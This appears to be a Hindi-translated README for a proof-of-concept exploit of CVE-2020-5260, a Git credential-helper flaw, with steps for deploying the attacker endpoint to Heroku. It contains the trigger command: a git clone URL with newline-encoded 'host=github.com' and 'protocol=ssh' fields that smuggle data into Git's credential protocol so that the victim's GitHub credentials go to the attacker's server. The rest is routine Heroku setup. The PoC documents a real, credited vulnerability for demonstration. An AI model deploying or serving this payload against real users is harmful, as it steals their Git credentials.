cve-2020-5260

cve-2020-5260 के लिए एक HTTP PoC एंडपॉइंट जिसे Heroku पर तैनात किया जा सकता है

क्रेडिट जानकारी

Felix Wilhelm, Google Project Zero से https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

कमजोरी को ट्रिगर करें

git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh'

PoC को Heroku पर लाएं

Heroku पर स्वचालित रूप से तैनात करने के लिए इस बटन पर क्लिक करें...

या नीचे दिए गए चरणों का पालन करें...

हाँ, मैं इस विडंबना को समझता हूँ कि इस PoC को सेटअप करने के लिए Git clone कमांड चलाने पड़ते हैं....

Heroku CLI को https://devcenter.heroku.com/articles/heroku-cli के माध्यम से स्थापित करें

यदि आपने पहले से नहीं किया है, तो अपने Heroku खाते में लॉग इन करें और एक नई SSH सार्वजनिक कुंजी बनाने के लिए संकेतों का पालन करें।

$ heroku login

रिपॉजिटरी को क्लोन करें

cve-2020-5260 के स्रोत कोड को अपनी स्थानीय मशीन पर क्लोन करने के लिए Git का उपयोग करें।

$ mkdir cve-2020-5260
$ cd cve-2020-5260
$ git init
$ heroku apps:create cve-2020-5260
$ git clone https://github.com/brompwnie/cve-2020-5260

अपने परिवर्तनों को तैनात करें

आपने अभी जो कोड क्लोन किया है, उसमें कुछ बदलाव करें और Git का उपयोग करके उन्हें Heroku पर तैनात करें।

$ git add .
$ git commit -am "make it better"
$ git push heroku master